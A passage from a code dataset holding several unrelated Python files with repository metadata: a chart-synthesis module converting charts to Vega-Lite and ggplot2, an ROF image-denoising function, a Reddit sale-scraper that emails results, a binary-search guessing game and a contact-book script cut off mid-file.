result\n\n @staticmethod\n def inv_eval(vtrace):\n \"\"\"returns a list of (abs_table, layer) pairs. \"\"\"\n trace_layer = visual_trace.partition_trace(vtrace)\n \n layers = {}\n for vty in trace_layer:\n if vty == \"BarV\":\n layers[vty] = BarChart.inv_eval(trace_layer[vty], orientation=\"vertical\")\n elif vty == \"BarH\":\n layers[vty] = BarChart.inv_eval(trace_layer[vty], orientation=\"horizontal\")\n elif vty == \"Point\":\n layers[vty] = ScatterPlot.inv_eval(trace_layer[vty])\n elif vty == \"Line\":\n layers[vty] = LineChart.inv_eval(trace_layer[vty])\n elif vty == \"Area\":\n layers[vty] = AreaChart.inv_eval(trace_layer[vty])\n elif vty == \"Box\":\n layers[vty] = BoxPlot.inv_eval(trace_layer[vty])\n #TODO: handle stacked area chart later\n\n if len(layers) == 1:\n # directly return the layer if there is only one layer\n return layers[list(layers.keys())[0]]\n else:\n res = []\n layer_candidates = [layers[vty] for vty in layers]\n sizes = [list(range(len(l))) for l in layer_candidates]\n \n # iterating over combinations for different layers\n for id_list in itertools.product(*sizes):\n #id_list[i] is the candidate (data, layer) pair for layer i\n data_layer_pairs = [layer_candidates[i][id_list[i]] for i in range(len(id_list))]\n data_for_all_layers = [cl[0] for cl in data_layer_pairs]\n all_layers = [cl[1] for cl in data_layer_pairs]\n res.append((data_for_all_layers, LayeredChart(layers=all_layers, resolve={})))\n return res\n\n\nclass BarChart(object):\n def __init__(self, encodings, orientation):\n \"\"\"encodings of x,y,x2,y2\n orientation is one of vertical / horizontal\n \"\"\"\n assert(orientation in [\"horizontal\", \"vertical\"])\n self.encodings = {e.channel:e for e in encodings}\n self.orientation = orientation\n\n def to_vl_obj(self):\n mark = \"bar\"\n encodings = {e:self.encodings[e].to_vl_obj() for e in self.encodings}\n \n if self.orientation == \"horizontal\":\n encodings[\"y\"][\"sort\"] = None\n if self.orientation == \"vertical\":\n encodings[\"x\"][\"sort\"] = None\n\n if \"color\" in self.encodings:\n mark = {\"type\": \"bar\", \"opacity\": 0.8}\n #TODO: stack or not???\n # if self.orientation == \"horizontal\":\n # encodings[\"x\"][\"stack\"] = None\n # if self.orientation == \"vertical\":\n # encodings[\"y\"][\"stack\"] = None\n return {\n \"mark\": mark,\n \"encoding\": encodings\n }\n\n def to_ggplot2(self, data_var, alpha=1):\n\n mark = \"geom_bar\"\n #default channel names\n channel_map = { \"color\": \"fill\", \n \"x\": \"x\", \n \"y\": \"y\",\n \"column\": \"column\" }\n coord_flip = \"\"\n if (\"x2\" not in self.encodings) and (\"y2\" not in self.encodings):\n # normal bar chart\n if self.orientation == \"horizontal\":\n channel_map[\"x\"] = \"y\"\n channel_map[\"y\"] = \"x\"\n coord_flip = \" + coord_flip()\"\n aes_pairs = {channel_map[channel]:\"`{}`\".format(enc.field) for channel, enc in self.encodings.items()}\n else:\n # bar chart with x1,x2\n assert(\"column\" not in self.encodings)\n mark = \"geom_rect\"\n if self.orientation == \"horizontal\":\n channel_map[\"x\"] = \"ymin\"\n channel_map[\"x2\"] = \"ymax\"\n channel_map[\"y\"] = \"x\"\n coord_flip = \" + coord_flip()\"\n else:\n channel_map[\"y\"] = \"ymin\" \n channel_map[\"y2\"] = \"ymax\"\n aes_pairs = {channel_map[channel]:\"`{}`\".format(enc.field) for channel, enc in self.encodings.items()}\n aes_pairs[\"xmin\"] = \"`row_id`-0.45\"\n aes_pairs[\"xmax\"] = \"`row_id`+0.45\"\n\n facet = \"\"\n if \"column\" in aes_pairs:\n facet += \" + facet_grid(cols = vars(`{}`))\".format(aes_pairs[\"column\"])\n aes_pairs.pop(\"column\")\n\n aes_str = \",\".join([\"{}={}\".format(p, aes_pairs[p]) for p in aes_pairs])\n\n return \"{}(data={},aes({}),stat ='identity',alpha={}) + scale_x_discrete(){}{}\".format(mark, data_var, aes_str, alpha, coord_flip, facet)\n\n def eval(self, data):\n res = []\n for r in data:\n if self.orientation == \"horizontal\":\n x1 = get_channel_value(self.encodings, \"x\", r)\n x2 = get_channel_value(self.encodings, \"x2\", r)\n y = get_channel_value(self.encodings, \"y\", r)\n color = get_channel_value(self.encodings, \"color\", r)\n column = get_channel_value(self.encodings, \"column\", r)\n res.append(BarH(x1=x1, x2=x2, y=y, color=color, column=column))\n elif self.orientation == \"vertical\":\n y1 = get_channel_value(self.encodings, \"y\", r)\n y2 = get_channel_value(self.encodings, \"y2\", r)\n x = get_channel_value(self.encodings, \"x\", r)\n color = get_channel_value(self.encodings, \"color\", r)\n column = get_channel_value(self.encodings, \"column\", r)\n res.append(BarV(x=x, y1=y1, y2=y2, color=color, column=column))\n return res\n\n @staticmethod\n def inv_eval(vtrace, orientation):\n\n assert(orientation in [\"horizontal\", \"vertical\"])\n\n data_values = []\n \n if orientation == \"vertical\":\n for vt in vtrace:\n data_values.append({\"c_x\": vt.x, \"c_y\": vt.y1, \"c_y2\": vt.y2, \"c_column\": vt.column, \"c_color\": vt.color})\n channel_types = [(\"x\", \"nominal\"), (\"y\", \"quantitative\"), (\"y2\", \"quantitative\"), (\"color\", \"nominal\"), (\"column\", \"nominal\")]\n \n if orientation == \"horizontal\":\n for vt in vtrace:\n data_values.append({\"c_x\": vt.x1, \"c_x2\": vt.x2, \"c_y\": vt.y, \"c_column\": vt.column, \"c_color\": vt.color})\n channel_types = [(\"x\", \"quantitative\"), (\"x2\", \"quantitative\"), (\"y\", \"nominal\"), (\"color\", \"nominal\"), (\"column\", \"nominal\")]\n \n # remove fields that contain none values\n unused_fields = remove_unused_fields(data_values)\n\n encodings = []\n for channel, enc_ty in channel_types:\n field_name = \"c_{}\".format(channel)\n if field_name in unused_fields:\n continue\n encodings.append(Encoding(channel, field_name, enc_ty))\n\n bar_chart = BarChart(encodings=encodings, orientation=orientation)\n\n return [(SymTable(values=data_values), bar_chart)]\n\n\nclass BoxPlot(object):\n def __init__(self, encodings):\n \"\"\" encodes x, y, color, group\"\"\"\n self.encodings = {e.channel:e for e in encodings}\n\n def to_vl_obj(self):\n mark = { \"type\": \"boxplot\", \"extent\": \"min-max\" }\n encodings = {e:self.encodings[e].to_vl_obj() for e in self.encodings}\n return {\n \"mark\": mark,\n \"encoding\": encodings\n }\n\n def eval(self, data):\n res = []\n # group by x, color and column to generate a box for each item\n get_group_key = lambda r: (r[self.encodings[\"x\"].field] if \"x\" in self.encodings else None,\n r[self.encodings[\"color\"].field] if \"color\" in self.encodings else None,\n r[self.encodings[\"column\"].field] if \"column\" in self.encodings else None)\n group_keys = set([get_group_key(r) for r in data])\n grouped_data = {key:[r for r in data if get_group_key(r) == key] for key in group_keys}\n\n for key in grouped_data:\n x, color, column = key\n ys = [r[self.encodings[\"y\"].field] for r in grouped_data[key]]\n median = float(np.median(ys))\n upper_quartile = float(np.percentile(ys, 75))\n lower_quartile = float(np.percentile(ys, 25))\n res.append(Box(x=x, median=median, Q1=lower_quartile, Q3=upper_quartile, \n min=float(np.min(ys)), max=float(np.max(ys)), color=color, column=column))\n return res\n\n @staticmethod\n def inv_eval(vtrace):\n data_values = []\n constraints = []\n\n for vt in vtrace:\n # min max will appear in the table\n data_values.append({\"c_x\": vt.x, \"c_y\": vt.min, \"c_color\": vt.color, \"c_column\": vt.column})\n data_values.append({\"c_x\": vt.x, \"c_y\": vt.max, \"c_color\": vt.color, \"c_column\": vt.column})\n\n # the output table should satisfy these constraints\n constraints.append(\"min([r.c_y for r in T if r.c_color == {} and r.c_column == {}]) = {}\".format(vt.color, vt.column, vt.min))\n constraints.append(\"max([r.c_y for r in T if r.c_color == {} and r.c_column == {}]) = {}\".format(vt.color, vt.column, vt.max))\n constraints.append(\"Q1([r.c_y for r in T if r.c_color == {} and r.c_column == {}]) = {}\".format(vt.color, vt.column, vt.Q1))\n constraints.append(\"Q3([r.c_y for r in T if r.c_color == {} and r.c_column == {}]) = {}\".format(vt.color, vt.column, vt.Q3))\n constraints.append(\"median([r.c_y for r in T if r.c_color == {} and r.c_column == {}]) = {}\".format(vt.color, vt.column, vt.median))\n\n # remove fields that contain none values\n unused_fields = remove_unused_fields(data_values)\n\n encodings = []\n for channel, enc_ty in [(\"x\", \"_\"), (\"y\", \"_\"), (\"color\", \"nominal\"), (\"column\", \"nominal\")]:\n field_name = \"c_{}\".format(channel)\n if field_name in unused_fields: \n continue\n\n if channel in [\"x\", \"y\"]:\n # the type needs to be determined by datatype\n dtype = table_utils.infer_dtype([r[field_name] for r in data_values])\n enc_ty = \"nominal\" if dtype == \"string\" else \"quantitative\"\n\n encodings.append(Encoding(channel, field_name, enc_ty))\n\n chart = BoxPlot(encodings=encodings)\n return [(SymTable(data_values, constraints), chart)]\n\n\nclass AreaChart(object):\n def __init__(self, encodings):\n \"\"\"encodings of x,y,y2,color \"\"\"\n self.encodings = {e.channel:e for e in encodings}\n\n def to_vl_obj(self):\n mark = \"area\"\n encodings = {e:self.encodings[e].to_vl_obj() for e in self.encodings}\n if \"color\" in self.encodings:\n mark = {\"type\": \"area\", \"opacity\": 0.8}\n encodings[\"y\"][\"stack\"] = None\n return {\n \"mark\": mark,\n \"encoding\": encodings\n }\n\n def to_ggplot2(self, data_var, alpha=1):\n \n # rename color to col\n channel_map = lambda c: \"col\" if c == \"color\" else c\n aes_pairs = {channel_map(channel) : \"`{}`\".format(self.encodings[channel].field) for channel in self.encodings}\n\n facet = \"\"\n if \"column\" in aes_pairs:\n facet += \" + facet_grid(cols = vars({}))\".format(aes_pairs[\"column\"])\n aes_pairs.pop(\"column\")\n\n #aes mappings, we need to add group\n aes_str = \",\".join([\"{}={}\".format(p, aes_pairs[p]) for p in aes_pairs])\n group_fields = [aes_pairs[f] for f in [\"col\", \"size\"] if f in aes_pairs]\n group_str = \"{}\".format(\",\".join(group_fields)) if group_fields else \"1\"\n aes_str += \",group={}\".format(group_str) \n\n return \"geom_area(data={},aes({}),alpha={}){}\".format(data_var, aes_str, alpha, facet)\n\n def eval(self, data):\n \"\"\" first group data based on color and column and then connect them\"\"\"\n get_group_key = lambda r: (r[self.encodings[\"color\"].field] if \"color\" in self.encodings else None,\n r[self.encodings[\"column\"].field] if \"column\" in self.encodings else None)\n group_keys = set([get_group_key(r) for r in data])\n grouped_data = {key:[r for r in data if get_group_key(r) == key] for key in group_keys}\n\n res = []\n for key in grouped_data:\n vals = grouped_data[key]\n # sort by ascending in x by default\n vals.sort(key=lambda x: x[self.encodings[\"x\"].field])\n\n color, column = key\n for i in range(len(vals) - 1):\n l, r = vals[i], vals[i + 1]\n xl, ylt, ylb = l[self.encodings[\"x\"].field], l[self.encodings[\"y\"].field], get_channel_value(self.encodings, \"y2\", l)\n xr, yrt, yrb = r[self.encodings[\"x\"].field], r[self.encodings[\"y\"].field], get_channel_value(self.encodings, \"y2\", r)\n res.append(Area(xl, ylt, ylb, xr, yrt, yrb, color, column))\n return res\n\n @staticmethod\n def inv_eval(vtrace):\n\n frozen_data = []\n for vt in vtrace:\n # each end of an point will only be added once\n p1 = json.dumps({\"c_x\": vt.x1, \"c_y\": vt.yt1, \"c_y2\": vt.yb1, \"c_color\": vt.color, \"c_column\": vt.column}, sort_keys=True)\n p2 = json.dumps({\"c_x\": vt.x2, \"c_y\": vt.yt2, \"c_y2\": vt.yb2, \"c_color\": vt.color, \"c_column\": vt.column}, sort_keys=True)\n if p1 not in frozen_data: frozen_data.append(p1)\n if p2 not in frozen_data: frozen_data.append(p2)\n\n data_values = [json.loads(r) for r in frozen_data]\n channel_types = [(\"x\", \"_\"), (\"y\", \"quantitative\"), (\"y2\", \"quantitative\"), (\"color\", \"nominal\"), (\"column\", \"nominal\")]\n\n # remove fields that contain none values\n unused_fields = remove_unused_fields(data_values)\n\n encodings = []\n for channel, enc_ty in channel_types:\n field_name = \"c_{}\".format(channel)\n if field_name in unused_fields:\n continue\n if channel == \"x\":\n dtype = table_utils.infer_dtype([r[field_name] for r in data_values])\n enc_ty = \"nominal\" if dtype == \"string\" else \"quantitative\"\n encodings.append(Encoding(channel, field_name, enc_ty))\n\n chart = AreaChart(encodings=encodings)\n\n return [(SymTable(values=data_values), chart)]\n\n\nclass LineChart(object):\n\n def __init__(self, encodings):\n \"\"\"Encodings x,y,color,size,order\"\"\"\n self.encodings = {e.channel:e for e in encodings}\n if \"order\" not in self.encodings:\n # the default order to connect points is based on x encoding\n self.encodings[\"order\"] = Encoding(channel=\"order\", field=self.encodings[\"x\"].field, enc_ty=\"quantitative\")\n\n def to_vl_obj(self):\n return {\n \"mark\": \"line\",\n \"encoding\": {e:self.encodings[e].to_vl_obj() for e in self.encodings}\n }\n\n def to_ggplot2(self, data_var, alpha=1):\n \n # rename color to col\n channel_map = lambda c: \"col\" if c == \"color\" else c\n aes_pairs = {channel_map(channel) : \"`{}`\".format(self.encodings[channel].field) for channel in self.encodings}\n\n if self.encodings[\"order\"].field == self.encodings[\"x\"].field:\n aes_pairs.pop(\"order\")\n else:\n print('[error] geom_line does not support customized order')\n\n facet = \"\"\n if \"column\" in aes_pairs:\n facet += \" + facet_grid(cols = vars({}))\".format(aes_pairs[\"column\"])\n aes_pairs.pop(\"column\")\n\n #aes mappings, we need to add group\n aes_str = \",\".join([\"{}={}\".format(p, aes_pairs[p]) for p in aes_pairs])\n group_fields = [aes_pairs[f] for f in [\"col\", \"size\"] if f in aes_pairs]\n group_str = \"{}\".format(\",\".join(group_fields)) if group_fields else \"1\"\n aes_str += \",group={}\".format(group_str) \n\n return \"geom_line(data={},aes({}),alpha={}){}\".format(data_var, aes_str, alpha, facet)\n\n\n def eval(self, data):\n \"\"\" first group data based on color and width, and then connect them\"\"\"\n get_group_key = lambda r: (r[self.encodings[\"color\"].field] if \"color\" in self.encodings else None,\n r[self.encodings[\"size\"].field] if \"size\" in self.encodings else None,\n r[self.encodings[\"column\"].field] if \"column\" in self.encodings else None)\n group_keys = set([get_group_key(r) for r in data])\n grouped_data = {key:[r for r in data if get_group_key(r) == key] for key in group_keys}\n\n res = []\n for key in grouped_data:\n vals = grouped_data[key]\n order_field = self.encodings[\"order\"].field\n sort_order = self.encodings[\"order\"].sort_order\n if sort_order != None:\n vals.sort(key=lambda x: x[order_field], reverse=True if sort_order == \"descending\" else False)\n\n color, size, column = key\n for i in range(len(vals) - 1):\n l, r = vals[i], vals[i + 1]\n if (self.encodings[\"x\"].field not in l or self.encodings[\"x\"].field not in r or \n self.encodings[\"y\"].field not in l or self.encodings[\"y\"].field not in r):\n print(\"[POTENTIAL ERROR] MISSING FIELD chart.py@703\")\n print(self.encodings[\"x\"].field)\n print(self.encodings[\"y\"].field)\n print(vals[i])\n print(vals[i + 1])\n continue\n xl, yl = l[self.encodings[\"x\"].field], l[self.encodings[\"y\"].field]\n xr, yr = r[self.encodings[\"x\"].field], r[self.encodings[\"y\"].field]\n res.append(Line(xl, yl, xr, yr, size, color, column))\n return res\n\n @staticmethod\n def inv_eval(vtrace):\n\n constraints = []\n\n # frozen data used for removing duplicate points\n frozen_data = []\n for vt in vtrace:\n\n # add fault tolerency: if the field is null, ignore it\n if vt.x1 != None and vt.y1 != None:\n # each end of an point will only be added once\n p1 = json.dumps({\"c_x\": vt.x1, \"c_y\": vt.y1, \"c_size\": vt.size, \"c_color\": vt.color, \"c_column\": vt.column}, sort_keys=True)\n if p1 not in frozen_data: frozen_data.append(p1)\n\n if vt.x2 != None and vt.y2 != None:\n p2 = json.dumps({\"c_x\": vt.x2, \"c_y\": vt.y2, \"c_size\": vt.size, \"c_color\": vt.color, \"c_column\": vt.column}, sort_keys=True)\n if p2 not in frozen_data: frozen_data.append(p2)\n\n\n # there should not be any points between these two\n constraints.append(\"\"\"\n (not (exists (r Tuple) (and (> r.c_x vt.x1) \n (< r.c_x vt.x2) \n (= r.c_color vt.color) \n (= r.c_column vt.column))))\"\"\")\n \n data_values = [json.loads(r) for r in frozen_data]\n unused_fields = remove_unused_fields(data_values)\n\n encodings = []\n for channel, enc_ty in [(\"x\", \"_\"), (\"y\", \"_\"), (\"size\", \"nominal\"), (\"color\", \"nominal\"), (\"column\", \"nominal\")]:\n field_name = \"c_{}\".format(channel)\n if field_name in unused_fields:\n continue\n if channel in [\"x\", \"y\"]:\n dtype = table_utils.infer_dtype([r[field_name] for r in data_values])\n enc_ty = \"nominal\" if dtype == \"string\" else \"quantitative\"\n\n encodings.append(Encoding(channel, field_name, enc_ty))\n\n bar_chart = LineChart(encodings=encodings)\n return [(SymTable(values=data_values, constraints=constraints), bar_chart)]\n\n\nclass ScatterPlot(object):\n def __init__(self, mark_ty, encodings):\n \"\"\"x, y, color, size, shape\"\"\"\n self.mark_ty = mark_ty\n self.encodings = {e.channel:e for e in encodings}\n\n def to_vl_obj(self):\n return {\n \"mark\": self.mark_ty,\n \"encoding\": {e:self.encodings[e].to_vl_obj() for e in self.encodings}\n }\n\n def to_ggplot2(self, data_var, alpha=1):\n \n # rename color to col\n channel_map = lambda c: \"col\" if c == \"color\" else c\n aes_pairs = {channel_map(channel) : \"`{}`\".format(self.encodings[channel].field) for channel in self.encodings}\n\n facet = \"\"\n if \"column\" in aes_pairs:\n facet += \" + facet_grid(cols = vars({}))\".format(aes_pairs[\"column\"])\n aes_pairs.pop(\"column\")\n\n #aes mappings, we need to add group\n aes_str = \",\".join([\"{}={}\".format(p, aes_pairs[p]) for p in aes_pairs])\n group_fields = [aes_pairs[f] for f in [\"col\", \"size\"] if f in aes_pairs]\n group_str = \"{}\".format(\",\".join(group_fields)) if group_fields else \"1\"\n aes_str += \",group={}\".format(group_str) \n\n return \"geom_point(data={},aes({}),alpha={}){}\".format(data_var, aes_str, alpha, facet)\n\n\n def eval(self, data):\n res = []\n for r in data:\n x = get_channel_value(self.encodings, \"x\", r)\n y = get_channel_value(self.encodings, \"y\", r)\n color = get_channel_value(self.encodings, \"color\", r)\n size = get_channel_value(self.encodings, \"size\", r)\n shape = get_channel_value(self.encodings, \"shape\", r)\n column = get_channel_value(self.encodings, \"column\", r)\n res.append(Point(x=x, y=y, color=color, size=size, shape=shape, column=column))\n return res\n\n @staticmethod\n def inv_eval(vtrace):\n\n mark_ty = \"rect\" if vtrace[0].point_shape == \"rect\" else \"point\"\n\n data_values = []\n for vt in vtrace:\n data_values.append({\"c_x\": vt.x, \"c_y\": vt.y, \"c_size\": vt.size, \n \"c_color\": vt.color, \"c_shape\": vt.shape, \"c_column\": vt.column})\n\n # remove fields that contain none values\n unused_fields = remove_unused_fields(data_values)\n\n encodings = []\n for channel, enc_ty in [(\"x\", \"_\"), (\"y\", \"_\"), \n (\"size\", \"_\"), (\"color\", \"nominal\"), (\"shape\", \"nominal\"), (\"column\", \"nominal\")]:\n field_name = \"c_{}\".format(channel)\n if field_name in unused_fields: \n continue\n\n if channel in [\"x\", \"y\", \"size\"] or (channel == \"color\" and mark_ty == \"rect\"):\n # the type needs to be determined by datatype\n dtype = table_utils.infer_dtype([r[field_name] for r in data_values])\n enc_ty = \"nominal\" if dtype == \"string\" else \"quantitative\"\n\n encodings.append(Encoding(channel, field_name, enc_ty))\n\n chart = ScatterPlot(mark_ty=mark_ty, encodings=encodings)\n return [(SymTable(values=data_values), chart)]\n\n\nclass Encoding(object):\n def __init__(self, channel, field, enc_ty, sort_order=None):\n \"\"\" sort order is either descending/ascending or default (unsorted)\"\"\"\n self.channel = channel\n self.field = field\n self.enc_ty = enc_ty\n self.sort_order = sort_order\n\n def to_vl_obj(self):\n res = {\"field\": self.field, \"type\": self.enc_ty}\n if self.channel in [\"y2\", \"x2\"]:\n # in vegalite, y2 should not have type since it should be consistent to y\n res.pop(\"type\")\n if self.sort_order:\n res[\"sort_order\"] = self.sort_order\n return res","repo_name":"Mestway/falx","sub_path":"falx/visualization/chart.py","file_name":"chart.py","file_ext":"py","file_size_in_byte":31260,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"21"} +{"seq_id":"20780785618","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom numpy import *\n\ndef denoise(im,U_init,tolerance=0.1,tau=0.125,tv_weight=100):\n \"\"\" A. Chambolle (2005) の数式(11)記載の計算手順に基づく\n Rudin-Osher-Fatemi (ROF) ノイズ除去モデルの実装。\n\n 入力: ノイズのある入力像(グレースケール), Uの初期ガウス分布,\n 終了判断基準の許容誤差(tolerance)、ステップ長(tau)、\n TV正規化項の重み(tv_weight)\n\n 出力: ノイズ除去された画像,残余テクスチャ \"\"\"\n\n m,n = im.shape # ノイズのある画像のサイズ\n\n # 初期化\n U = U_init \n Px = im # 双対領域でのx成分\n Py = im # 双対領域でのy成分\n error = 1 \n\n while (error > tolerance): \n Uold = U \n\n # 主変数の勾配\n GradUx = roll(U,-1,axis=1)-U # Uの勾配のx成分\n GradUy = roll(U,-1,axis=0)-U # Uの勾配のy成分\n\n # 双対変数を更新\n PxNew = Px + (tau/tv_weight)*GradUx \n PyNew = Py + (tau/tv_weight)*GradUy \n NormNew = maximum(1,sqrt(PxNew**2+PyNew**2)) \n\n Px = PxNew/NormNew # 双対変数のx成分を更新\n Py = PyNew/NormNew # 双対変数のy成分を更新\n\n # 主変数を更新\n RxPx = roll(Px,1,axis=1) # x成分の右回り変換\n RyPy = roll(Py,1,axis=0) # y成分の右回り変換\n\n DivP = (Px-RxPx)+(Py-RyPy) # 双対領域の発散\n\n U = im + tv_weight*DivP # 主変数を更新\n\n # 誤差を更新\n error = linalg.norm(U-Uold)/sqrt(n*m); \n\n return U,im-U # ノイズ除去画像と、残余テクスチャ\n\n\n","repo_name":"takeshi-a/pcv_note","sub_path":"chap1/rof.py","file_name":"rof.py","file_ext":"py","file_size_in_byte":1564,"program_lang":"python","lang":"ja","doc_type":"code","stars":22,"dataset":"github-code","pt":"21"} +{"seq_id":"13554003782","text":"#! usr/bin/env python3\nimport praw\nimport pandas as pd\nfrom datetime import datetime as dt\nfrom datetime import timedelta\nimport mail as mail\n\nreddit = praw.Reddit(client_id='PERSONAL_USE_SCRIPT_14_CHARS', \\\n client_secret='SECRET_KEY_27_CHARS ', \\\n user_agent='YOUR_APP_NAME', \\\n username='YOUR_REDDIT_USER_NAME', \\\n password='YOUR_REDDIT_LOGIN_PASSWORD')\n\n\nemail_info = {\n\t\t\t\t\"send_from\" : \"FROM_EMAIL_NAME\", \\\n\t\t\t\t\"password\" : \"PASSWORD\", \\\n\t\t\t\t\"send_to\" : [\"TO_EMAIL_NAME\"], \\\n\t\t\t\t\"subject\" : \"reddit sales\", \\\n\t\t\t\t\"text\" : \"here are your sales\", \\\n\t\t\t\t\"server\" : \"SERVER_NAME\", \\\n\t\t\t\t\"files\" : [\"sales.csv\"]\n\t\t\t}\n\n# sale_items = [\"Viotek GN35DA 35\", \"Seagate IronWolf 12TB NAS\"]\n\nsale_dict = {\t\"SUBTHREAD_NAME\" : \\\n\t\t\t\t\t[\t\"PRODUCT_OR_BRAND_NAME\", \\\n\t\t\t\t\t\t\"PRODUCT_OR_BRAND_NAME\", \\\n\t\t\t\t\t\t\"PRODUCT_OR_BRAND_NAME\"], \\\n\t\t\t\t\"buildapcsales\" : \\\n\t\t\t\t\t[\t\"Viotek GN35DA 35\", \\\n\t\t\t\t\t\t\"Seagate\", \\\n\t\t\t\t\t\t\"12TB NAS\"], \\\n\t\t\t\t\"frugalmalefashion\" : \\\n\t\t\t\t\t[\t\"Adidas\",\n\t\t\t\t\t\t\"Ultraboost\",\n\t\t\t\t\t\t\"J.Crew\"]\n}\n\nfound_sales = { \"title\":[], \\\n \"score\":[], \\\n \"id\":[], \\\n \"reddit_post\":[], \\\n \"sale_url\":[], \\\n \"comms_num\": [], \\\n \"created\": [], \\\n \"body\":[], \\\n \"time\": []}\n\n# subreddit = reddit.subreddit('buildapcsales');\n# submissions = subreddit.new(limit=50);\n# print(subreddit.new(limit=500));\n\nfor sub in sale_dict:\n\t# print(sale_dict[sub]);\n\tsubreddit = reddit.subreddit(sub);\n\tsubmissions = subreddit.new(limit=500);\n\tsale_items = sale_dict[sub];\n\n\tfor submission in submissions:\n\n\t # check if item found\n\t item_found = [x for x in sale_items if(x.lower() in submission.title.lower())];\n\t \n\t # check when submission posted\n\t date_created = dt.utcfromtimestamp(submission.created_utc);\n\t time_between_created = dt.now() - date_created;\n\n\n\t if (item_found and time_between_created.days<=30):\n\t \t# print(submission.permalink)\n\t \tfound_sales[\"title\"].append(submission.title);\n\t \tfound_sales[\"score\"].append(submission.score);\n\t \tfound_sales[\"id\"].append(submission.id);\n\t \tfound_sales[\"reddit_post\"].append(\"=HYPERLINK(\\\"https://reddit.com\"+submission.permalink+\"\\\", \\\"post link\\\")\");\n\t \tfound_sales[\"sale_url\"].append(\"=HYPERLINK(\\\"\"+submission.url+\"\\\", \\\"sale link\\\")\");\n\t \tfound_sales[\"comms_num\"].append(submission.num_comments);\n\t \tfound_sales[\"created\"].append(submission.created);\n\t \tfound_sales[\"body\"].append(submission.selftext);\n\t \tfound_sales[\"time\"].append(date_created.strftime(\"%m/%d/%Y, %H:%M:%S\"));\n\nsale_data = pd.DataFrame(found_sales);\n# print(sale_data.to_string())\n\n\nsale_data.to_csv('sales.csv', index=False)\n\n\n# send email\nmail.send_mail(\temail_info[\"send_from\"], \\\n\t\t\t\temail_info[\"password\"], \\\n\t\t\t\temail_info[\"send_to\"], \\\n\t\t\t\temail_info[\"subject\"], \\\n\t\t\t\temail_info[\"text\"], \\\n\t\t\t\temail_info[\"server\"], \\\n\t\t\t\temail_info[\"files\"]);\n","repo_name":"pranav-manik/RedditSaleFinder","sub_path":"sale_script.py","file_name":"sale_script.py","file_ext":"py","file_size_in_byte":3000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25056858120","text":"import math\n\n\ndef cal_mid_point(up,low):\n return math.floor((up+low)/2)\n\ndef run_guess(low,up):\n mid=cal_mid_point(low,up)\n while mid!=low and mid!=up:\n print(str(mid)+' Up or low?: ')\n response=input()\n if response=='u':\n mid=run_guess(mid+1,up)\n if response=='l':\n mid=run_guess(low,mid-1)\n return mid\n\n\n\nif __name__ == '__main__':\n print('Insert number [low up]: ')\n numbers=input().split()\n low=int(numbers[0])\n up=int(numbers[1])\n print(\"The guess is: \" + str(run_guess(low,up)))","repo_name":"Daniel107x-hub/Algorithmic-Toolbox","sub_path":"Divid-And-Conquer/Python/Res/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6599116556","text":"AGENDA = {}\r\n\r\n\r\ndef mostrar_contatos():\r\n if AGENDA:\r\n for contato in AGENDA:\r\n buscar_contato(contato)\r\n else:\r\n print('Agenda vazia.')\r\n\r\n\r\ndef buscar_contato(contato):\r\n try:\r\n print(\"Nome: \", contato)\r\n print('Telefone: ', AGENDA[contato]['tel'])\r\n print('Email: ', AGENDA[contato]['email'])\r\n print('Endereço: ', AGENDA[contato]['endereco'])\r\n print('------------------------------------------')\r\n except KeyError:\r\n print('Contato inexistente.')\r\n except Exception as error:\r\n print('Um erro inesperado ocorreu.')\r\n print(error)\r\n\r\n\r\ndef ler_detalhes_contato():\r\n telefone = input(\"Telefone: \")\r\n email = input(\"Email: \")\r\n endereco = input('Endereço: ')\r\n\r\n return telefone, email, endereco\r\n\r\n\r\ndef inserir_editar_contato(contato, tel, email, endereco):\r\n nome = contato.lower()\r\n AGENDA[nome] = {\r\n 'tel': tel,\r\n 'email': email,\r\n 'endereco': endereco\r\n }\r\n salvar_agenda()\r\n print('Contato ({}) adicionado/editado com sucesso.'.format(contato))\r\n\r\n\r\ndef excluir_contato(contato):\r\n try:\r\n AGENDA.pop(contato)\r\n salvar_agenda()\r\n print()\r\n print('Contato ({}) excluído com sucesso.'.format(contato))\r\n print()\r\n except KeyError:\r\n print('Contato inexistente.')\r\n except Exception as error:\r\n print('Um erro inesperado ocorreu.')\r\n print(error)\r\n\r\n\r\ndef exportar_contatos(file_name):\r\n try:\r\n with open(file_name, 'w') as arquivo:\r\n for contato in AGENDA:\r\n telefone = AGENDA[contato]['tel']\r\n email = AGENDA[contato]['email']\r\n endereco = AGENDA[contato]['endereco']\r\n arquivo.write('{},{},{},{}\\n'.format(contato, telefone, email, endereco))\r\n\r\n if file_name != 'database.csv':\r\n print()\r\n print('Agenda exportada com sucesso.')\r\n print()\r\n except Exception as e:\r\n print('Algum erro ocorreu.')\r\n print(e)\r\n\r\n\r\ndef importar_contatos(file_name):\r\n try:\r\n with open(file_name, 'r') as file:\r\n linhas = file.readlines()\r\n for linha in linhas:\r\n detalhes = linha.strip().split(',')\r\n\r\n if detalhes:\r\n nome = detalhes[0]\r\n telefone = detalhes[1]\r\n email = detalhes[2]\r\n endereco = detalhes[3]\r\n\r\n inserir_editar_contato(nome, telefone, email, endereco)\r\n else:\r\n print('Agenda vazia')\r\n except FileNotFoundError:\r\n print('Arquivo não encontrado')\r\n except Exception as error:\r\n print('Erro inesperado ocorreu :', error)\r\n\r\n\r\ndef salvar_agenda():\r\n exportar_contatos('database.csv')\r\n\r\n\r\ndef carregar():\r\n try:\r\n with open('database.csv', 'r') as file:\r\n linhas = file.readlines()\r\n for linha in linhas:\r\n detalhes = linha.strip().split(',')\r\n\r\n if detalhes:\r\n nome = detalhes[0]\r\n telefone = detalhes[1]\r\n email = detalhes[2]\r\n endereco = detalhes[3]\r\n\r\n AGENDA[nome] = {\r\n 'tel': telefone,\r\n 'email': email,\r\n 'endereco': endereco\r\n }\r\n else:\r\n print('Agenda vazia')\r\n print('Database carregado com sucesso.')\r\n print(len(linhas), ' contato(s) importado(s)')\r\n except FileNotFoundError:\r\n print('Arquivo não encontrado')\r\n except Exception as error:\r\n print('Erro inesperado ocorreu :', error)\r\n\r\n\r\ndef imprimir_menu():\r\n print('------------------------------------------')\r\n print('1 - Mostrar todos os 